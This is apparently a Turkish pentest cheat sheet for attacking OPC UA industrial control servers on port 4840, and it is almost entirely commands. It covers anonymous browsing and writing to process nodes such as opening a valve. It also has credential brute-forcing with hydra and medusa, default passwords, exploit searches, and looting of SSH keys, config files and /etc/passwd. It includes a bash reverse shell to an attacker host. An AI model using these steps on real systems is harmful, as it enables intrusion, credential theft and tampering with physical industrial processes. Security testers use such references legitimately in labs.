4840 - OPC Unified Architecture

OPC UA ot

OPC UA endüstriyel veri modelidir. Anonim session browse + writable node = süreç kontrolü. Hedef lab IP’si üzerinde komutları 4840 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 4840 doğrula.

2. Endpoint/security policy listesi.

3. Anonim browse.

4. Kritik node yaz.

Keşif

nmap -Pn -sV -p4840 TARGET

python3 opcua_client.py --endpoint opc.tcp://TARGET:4840

curl -vk https://TARGET:4840/

Browse

python3 -c 'from opcua import Client;c=Client("opc.tcp://TARGET:4840");c.connect();print(c.get_root_node().get_children());c.disconnect()'

Anonymous + None security policy

Write

node.set_value(new)

python3 opcua_write.py opc.tcp://TARGET:4840 ns=2;s=Valve Open

Derin enum

OPC Unified Architecture için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p4840 TARGET

nmap -Pn -p4840 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:4840' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',4840));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → OPC Unified Architecture

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 4840 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 4840

nmap -p4840 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit OPC UA

msfconsole -q -x 'search OPC UA; exit'

nuclei -u https://TARGET:4840 -t cves/ -silent -severity || true

nuclei -u http://TARGET:4840 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 4840

printf '
' | timeout 3 nc -nv TARGET 4840

curl -vk --http1.0 http://TARGET:4840/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

anon OPC → browse → write nodes → process impact